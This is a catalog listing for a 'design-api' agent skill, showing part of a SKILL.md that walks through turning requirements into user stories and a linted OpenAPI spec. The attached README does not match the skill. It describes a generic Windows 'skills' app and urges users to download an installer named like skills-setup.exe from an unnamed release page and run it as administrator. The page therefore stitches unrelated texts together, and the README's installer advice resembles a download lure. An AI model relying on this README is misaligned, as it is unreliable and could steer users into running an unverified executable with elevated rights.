⏳ This skill is pending AI review.
Scores will appear once the review pipeline completes.
design-api
Design an API end-to-end — from requirements to a validated OpenAPI spec. Generates stories for review, then produces a linted spec. Emmanuel Paraskakis's method for designing APIs with LLMs. Use when user says "/design-api" or asks to design an API.
Choose how to use this skill
You do not need every option. Choose the path your AI client supports. The stable page stays the same; versioned files are immutable.
1. Native installer
This listing has no registered native installer command. Use the complete package or source fallback below, depending on what your client supports.
Do not guess an installer command or replace an existing version without reviewing the diff.
2. Complete package recommended
Download the ZIP when available. It includes SKILL.md plus the references, security notes and version metadata.
No complete ProSkills package is published for this listing yet.3. Prompt-only
Copy the prompt above when the agent can read the stable page or when you want to adopt the workflow without installing a skill.
Need only the instruction file?
Download SKILL.md only if your client requires a single file. The complete ZIP is safer for a full installation because it preserves the references and release context.
No path installs or executes anything by itself. Your agent still needs access to the project files. Before updating, compare the installed version and review the diff.
// RATINGS
Not yet listed on ClawHub or SkillsMP
// README
🛠️ skills - Easy tools for agent tasks
📋 What is skills?
Skills is a simple application designed to help you work with agents more effectively. Whether you want to manage tasks or automate small jobs, this app provides the basic tools you need. It runs on Windows and does not require any programming knowledge.
💻 System Requirements
To use skills, make sure your computer meets these basic requirements:
- Windows 10 or newer
- At least 4 GB of RAM
- 200 MB of free storage space
- Stable internet connection (for initial download and updates)
🚀 Getting Started
Follow these steps to get the app running on your Windows PC.
1. Download skills
Visit the official release page to get the latest version of skills.
You will see a list of files. Look for the one named similar to skills-setup.exe or skills-installer.exe. This is the file that installs the app on your computer.
2. Run the installer
- Find the downloaded installer file, usually in your Downloads folder.
- Double-click the file named something like
skills-setup.exe. - If Windows asks for permission, select "Yes" to allow the installer to run.
3. Follow installation steps
The installer will guide you through the process. Steps usually include:
- Choosing the folder to install skills (the default is fine for most users)
- Confirming you want to install
- Waiting a little while skills installs on your computer
After installation completes, you may see an option to launch skills right away. You can check that box and finish the installer.
4. Open skills
Once installed, open the app by:
- Clicking the new "skills" icon on your desktop, or
- Finding it in the Start menu under "skills"
🔧 How to use skills
After opening the app, here are basic ways to start using it.
Add new agent skills
- Click "Add Skill" on the main screen.
- Enter a name for your skill.
- Choose the type of task you want the skill to perform.
- Save your new skill.
You can create as many skills as you want.
Manage existing skills
- Select a skill from your list to view or edit it.
- Update settings if needed or delete skills you no longer want.
- Use “Run” to test how a skill works.
Common tasks you can try
- Automate routine actions for software agents.
- Schedule skills to run at set times.
- Track skill performance metrics.
🔄 Updating skills
To get updates or new features:
- Visit the skills releases page regularly.
- Download the newest installer version.
- Run the installer to update skills without losing your data.
💡 Tips and Tricks
- Keep your skills organized by naming them clearly.
- Test skills on small tasks before using them in full projects.
- Use the built-in help section for questions about specific features.
❓ Troubleshooting
Installation issues
- Ensure your Windows is up to date.
- Run the installer as an administrator (right-click the file and choose "Run as administrator").
App does not open or crashes
- Try restarting your PC.
- Make sure you installed all updates for Windows.
- Check there is enough free memory and disk space.
For further help, visit the issues page on the GitHub repository or contact the app maintainer through GitHub.
📥 Download and install skills
Click the button below to visit the official page where you can download the installer file:
Once on the page:
- Find a file named like
skills-setup.exe. - Download it to your computer.
- Follow the installer steps described above to complete installation.
📂 Where to find skills after installation
- Desktop shortcut called "skills"
- Start menu under All Programs > skills
Open the app from these locations whenever you want to use it.
📝 About this project
Skills provides simple abilities for agents to perform useful tasks. It includes essential options for managing and running skills without complex setup. The app aims to assist users who want straightforward tools for agent automation.
// HOW IT'S BUILT
// FILES
2 files shipped with this skill. Inline text is the catalog copy. The upstream link is the source repository.
api/design-api/SKILL.md7.9 KBupstream ↗
--- name: design-api description: Design an API end-to-end — from requirements to a validated OpenAPI spec. Generates stories for review, then produces a linted spec. Emmanuel Paraskakis's method for designing APIs with LLMs. Use when user says "/design-api" or asks to design an API. --- # Design API Design an API end-to-end: requirements → stories → OpenAPI spec → lint → iterate. This is Emmanuel Paraskakis's method for designing APIs with LLMs. All four foundation files (requirements, domain, standards, OpenAPI best practices) are always required. Stories are optional — if provided, they represent the human's design decisions and the skill skips straight to spec generation. If not, the skill generates stories first and pauses for review. ## When to Use Use when the user says `/design-api` or asks to design an API from requirements or stories. ## Optional Dependencies The core skill (stories + spec generation) works with no extra tools. For the full experience: - **RateMyOpenAPI API key** — enables automated linting and scoring. Free signup at [api.ratemyopenapi.com/docs](https://api.ratemyopenapi.com/docs). Set as `RMOA_API_KEY` env var. - **Node.js** — enables local Swagger UI preview via `npx http-server`. - **curl + python3** — used for the RMOA API call. Almost always pre-installed. Without these, the skill still generates a complete OpenAPI spec — it just skips linting and local preview. ## Inputs The user must provide (or point to) these files. Files can be named anything — identify each file by its `# Title` heading or content, not by filename. **Always required:** 1. **Requirements** — ICP, needs, pain points, use cases, benefits. The "why" and "what." Look for a heading like `# Requirements`, `# Research`, or similar. 2. **Domain** — Data objects, properties, enums, object relations. Source of truth for schemas. Look for a heading like `# Domain`, `# Domain Model`, or similar. 3. **API Standards** — Style guide, naming, paths, security, error handling. Source of truth for conventions. Look for a heading like `# API Standards`, `# Style Guide`, or similar. 4. **OpenAPI Best Practices** — Formatting rules, DRY principles, SDK compatibility, component structure. Source of truth for OpenAPI document quality. Look for a heading like `# OpenAPI Best Practices`, `# OAS Best Practices`, or similar. **Optional (determines entry point):** 5. **Stories** — API user stories with methods, resources, parameters. The human's design decisions — resource nesting, endpoint grouping, parameter choices. Look for a heading like `# Stories`, `# User Stories`, or similar. If provided → skip to Phase 2 (spec). If not → Phase 1 generates them for review. If any required file is missing, ask the user to provide it before proceeding. If the user doesn't have their own files yet, offer to use the bundled examples in `references/examples/` (a conference scheduling API) so they can try the skill end-to-end. ### Bundled Examples A complete set of example inputs is included in `references/examples/`: - `conference-research.md` — requirements - `conference-domain.md` — domain model - `API-standards.md` — API standards - `OpenAPI-best-practices.md` — OpenAPI best practices --- # Phase 1: Stories (skip if stories are provided) ## Step 1: Read Inputs Read requirements, domain, and standards completely. Understand: - Who the API consumers are (from requirements) - What entities and relationships exist (from domain) - What conventions to follow (from standards) ## Step 2: Identify Themes Group use cases from the requirements into logical themes. Each theme maps to a cluster of related API operations. **Do not pause here — proceed immediately to Step 3.** Exception: if the user explicitly asks for step-by-step review, present themes first and wait. ## Step 3: Generate Stories (Default = Simple) By default, generate **simple stories** — just enough to review the API shape and validate the design direction. ### Simple Story Format (default) For each story, output ONLY: ``` #### Story [Theme].[Number]: [Name] **As a** [actor from requirements], **I want** to [action], **So that** [business value]. * **Method:** `GET` / `POST` / `PUT` / `PATCH` / `DELETE` * **Resource:** `/path/{id}/subresource` * **Parameters:** * `paramName` (type, required/optional): Brief description. ``` Rules: - Method and resource MUST follow the API standards (naming, nesting, pluralization) - Parameters include path params, query params, and request body fields - Mark each parameter as required or optional - Use domain object names and property names exactly as defined - Do NOT include response schemas, error codes, headers, or implementation details ### Detailed Story Format (on request) If the user asks for detailed stories (e.g., `--detailed`), add: - Success response summary (status code + what's returned) - Error responses (status codes + when they occur) - Headers (rate limiting, pagination cursors) - Notes on pagination approach ## Step 4: Review Checkpoint Present all stories in a single pass, then ask: **"Here are the stories. Any changes before I generate the spec, or good to go?"** - If the user has changes → incorporate them, re-present, and ask again. - If the user says go → save the final stories to file **immediately** (in its own response, before any spec generation thinking), then proceed to Phase 2. - If the user passes `--no-pause` → skip the checkpoint and proceed directly. **Important:** Always save the final, reviewed stories to a file before generating the spec. The saved stories are the source of truth for Phase 2 — the spec must reflect any changes the user made during review. **Save stories FIRST, spec SECOND — in separate responses.** When the user approves the stories, write them to file immediately in a standalone tool call. Do not batch the stories save with the spec generation — the spec requires significant reasoning time, and bundling them delays the stories save unnecessarily. Saving stories first shows progress to the user and gives them a checkpoint in case spec generation fails. Save stories to a file the user specifies, or ask where they'd like them saved. **Write directly — do not check for or read existing files first.** If the Write tool fails due to a name conflict, append a number and try again. --- # Phase 2: Spec ## Step 5: Read All Inputs Read stories, domain, standards, and OpenAPI best practices completely. Build a mental model of: - Every endpoint from the stories (method + resource + parameters) - Every data object and enum from the domain - Every convention from the standards - Every formatting rule from the best practices ## Step 6: Generate the OpenAPI Document Output a single valid JSON file. Default to OpenAPI 3.1.0 unless the user specifies a different version. ### Structure Follow this order in the document: 1. `openapi` — "3.1.0" (or the user-specified version) 2. `info` — Title, description, version, contact, license (per best practices) 3. `servers` — At least one server with description 4. `security` — Global security scheme if standards require auth 5. `tags` — One tag per theme from the stories 6. `paths` — All endpoints from the stories 7. `components` — schemas, parameters, responses, headers, securitySchemes ### Schema Generation Rules - **Every domain object becomes a component schema.** Use the exact property names from the domain file. - **Every enum becomes a component schema.** Don't inline enums. - **Collection responses get their own schema.** e.g., `InstrumentCollection` with `data` array + pagination fields. - **Error responses use RFC 9457 (Problem Details)** unless standards specify otherwise. - **No inline schemas.** Extract everything to `components/schemas` and `$ref` it. - **Reusable parameters go in `components/parameters`.** Pagination params (`cursor`, `limit`), common filters — define once, reference everywhere. - **Reusable response objects go in `components/responseREADME.mdupstream ↗
Contents are not inlined in the catalog. Open the upstream file.
Plain-text copy, no login: /skill-bundles/unperturbed-longislandsound997-skills-api-design-api.md